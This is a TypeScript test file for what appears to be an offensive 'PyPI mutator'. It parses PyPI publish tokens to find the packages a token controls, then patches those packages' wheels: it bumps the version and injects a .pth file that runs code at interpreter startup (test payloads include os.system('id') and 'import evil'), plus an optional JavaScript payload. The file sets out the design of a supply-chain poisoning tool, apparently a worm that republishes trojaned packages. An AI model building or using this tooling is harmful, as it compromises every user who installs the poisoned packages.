// tests/mutator/pypi.test.ts — Tests for PyPI mutator import { describe, expect, test } from "bun:test"; import { unzipSync, zipSync } from "fflate"; import { Mutator } from "../../src/mutator/base"; import { PypiMutator } from "../../src/mutator/pypi/index"; import { parseMacaroonToken } from "../../src/mutator/pypi/macaroonParse"; import { patchWheel, type PkgMeta } from "../../src/mutator/pypi/wheel"; // --------------------------------------------------------------------------- // parseMacaroonToken // --------------------------------------------------------------------------- describe("parseMacaroonToken", () => { test("returns user type for empty token", () => { const result = parseMacaroonToken(""); expect(result.type).toBe("user"); expect(result.packages).toEqual([]); }); test("returns user type for non-pypi token", () => { const result = parseMacaroonToken("ghp_abc123"); expect(result.type).toBe("user"); expect(result.packages).toEqual([]); }); test("returns user type for user-scoped pypi token", () => { const userToken = "pypi-" + Buffer.from('{"cid":"user","vids":[]}').toString("base64"); const result = parseMacaroonToken(userToken); expect(result.type).toBe("user"); expect(result.packages).toEqual([]); }); test("returns project type with packages for project-scoped token", () => { const raw = 'someprefix{"cid":"projects","vids":["my-pkg","other-lib"]}suffix'; const token = "pypi-" + Buffer.from(raw).toString("base64"); const result = parseMacaroonToken(token); expect(result.type).toBe("project"); expect(result.packages).toEqual(["my-pkg", "other-lib"]); }); test("returns project type with single package", () => { const raw = '{"cid":"projects","vids":["requests"]}'; const token = "pypi-" + Buffer.from(raw).toString("base64"); const result = parseMacaroonToken(token); expect(result.type).toBe("project"); expect(result.packages).toEqual(["requests"]); }); test("handles malformed base64 gracefully", () => { const token = "pypi-!!!not-valid-base64!!!"; const result = parseMacaroonToken(token); expect(result.type).toBe("user"); expect(result.packages).toEqual([]); }); }); // --------------------------------------------------------------------------- // patchWheel // --------------------------------------------------------------------------- function buildSyntheticWheel( name: string, version: string, ): { data: Uint8Array; meta: PkgMeta } { const distDir = `${name}-${version}.dist-info/`; const entries: Record = {}; const encode = (s: string) => new TextEncoder().encode(s); entries[`${distDir}METADATA`] = encode( `Metadata-Version: 2.1\r\nName: ${name}\r\nVersion: ${version}\r\n`, ); entries[`${distDir}WHEEL`] = encode( `Wheel-Version: 1.0\r\nGenerator: test\r\nRoot-Is-Purelib: true\r\n`, ); entries[`${distDir}RECORD`] = encode(`${name}/__init__.py,sha256=abc,3\r\n`); entries[`${name}/__init__.py`] = encode("# test package\n"); const zipped = zipSync(entries, { level: 6 }); const filename = `${name}-${version}-py3-none-any.whl`; return { data: zipped, meta: { name, version, wheelUrl: "", wheelFilename: filename }, }; } function patch(data: Uint8Array, meta: PkgMeta, pth: string, js?: string) { return patchWheel({ meta, wheelData: data, pthContent: pth, jsPayload: js }); } describe("patchWheel", () => { test("bumps patch version from 1.2.3 to 1.2.4", () => { const { data, meta } = buildSyntheticWheel("mypkg", "1.2.3"); const patched = patch(data, meta, "import mypkg; print('pwned')"); expect(patched.newVersion).toBe("1.2.4"); expect(patched.filename).toContain("1.2.4"); expect(patched.filename).toContain("mypkg"); }); test("bumps patch version from 5.0.0 to 5.0.1", () => { const { data, meta } = buildSyntheticWheel("requests", "5.0.0"); const patched = patch(data, meta, "..."); expect(patched.newVersion).toBe("5.0.1"); }); test("bumps patch version from 2.0 to 2.0.1", () => { const { data, meta } = buildSyntheticWheel("lib", "2.0"); const patched = patch(data, meta, "..."); expect(patched.newVersion).toBe("2.0.1"); }); test("preserves wheel structure after patching", () => { const { data, meta } = buildSyntheticWheel("testpkg", "3.1.0"); const patched = patch(data, meta, "import evil"); const entries = unzipSync(patched.data); const distDirKey = Object.keys(entries).find((k) => k.includes(".dist-info/"), ); expect(distDirKey).toBeDefined(); const distPrefix = distDirKey!.slice( 0, distDirKey!.indexOf(".dist-info/") + ".dist-info/".length, ); expect(distPrefix).toContain("3.1.1.dist-info"); const metadata = entries[distPrefix + "METADATA"]; expect(metadata).toBeDefined(); const text = new TextDecoder().decode(metadata); expect(text).toContain("Version: 3.1.1"); }); test("injects .pth file at wheel root", () => { const { data, meta } = buildSyntheticWheel("injectme", "0.1.0"); const pthContent = "import os; os.system('id')"; const patched = patch(data, meta, pthContent); const entries = unzipSync(patched.data); const pthPath = "injectme-setup.pth"; expect(entries[pthPath]).toBeDefined(); expect(new TextDecoder().decode(entries[pthPath]!)).toBe(pthContent); }); test("injects .pth file at wheel root and _index.js when jsPayload is provided", () => { const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0"); const patched = patch(data, meta, "import os", "console.log(1)"); const entries = unzipSync(patched.data); expect(entries["mypkg-setup.pth"]).toBeDefined(); expect(entries["mypkg/_index.js"]).toBeDefined(); expect(new TextDecoder().decode(entries["mypkg/_index.js"]!)).toBe( "console.log(1)", ); }); test("does NOT inject _index.js when jsPayload is omitted", () => { const { data, meta } = buildSyntheticWheel("mypkg", "0.1.0"); const patched = patch(data, meta, "import os"); const entries = unzipSync(patched.data); expect(entries["mypkg/_index.js"]).toBeUndefined(); }); test("produces deterministic output for same input", () => { const { data, meta } = buildSyntheticWheel("det", "1.0.0"); const a = patch(data, meta, "payload"); const b = patch(data, meta, "payload"); expect(a.filename).toBe(b.filename); expect(a.newVersion).toBe(b.newVersion); expect(a.data).toEqual(b.data); }); }); // --------------------------------------------------------------------------- // PypiMutator — contract // --------------------------------------------------------------------------- describe("PypiMutator", () => { test("extends Mutator base class", () => { const m = new PypiMutator("pypi-fakeTokenHere123"); expect(m).toBeInstanceOf(Mutator); expect(m).toBeInstanceOf(PypiMutator); }); test("throws when constructed without a token", () => { expect(() => new PypiMutator("")).toThrow("A PyPI token is required."); }); test("execute returns Promise", () => { const m = new PypiMutator("pypi-fakeTokenHere123", ["requests"]); const result = m.execute(); expect(result).toBeInstanceOf(Promise); result.catch(() => {}); }); test("implements the Mutator interface", () => { const m: Mutator = new PypiMutator("pypi-fake", ["flask"]); expect(typeof m.execute).toBe("function"); }); test("constructor accepts optional package list", () => { const m = new PypiMutator("pypi-test", ["numpy", "pandas"]); expect(m).toBeDefined(); }); test("constructor works with no package list", () => { const m = new PypiMutator("pypi-test"); expect(m).toBeDefined(); }); test("constructor accepts jsPayload", () => { const m = new PypiMutator("pypi-test", ["pkg"], "// js payload"); expect(m).toBeDefined(); }); });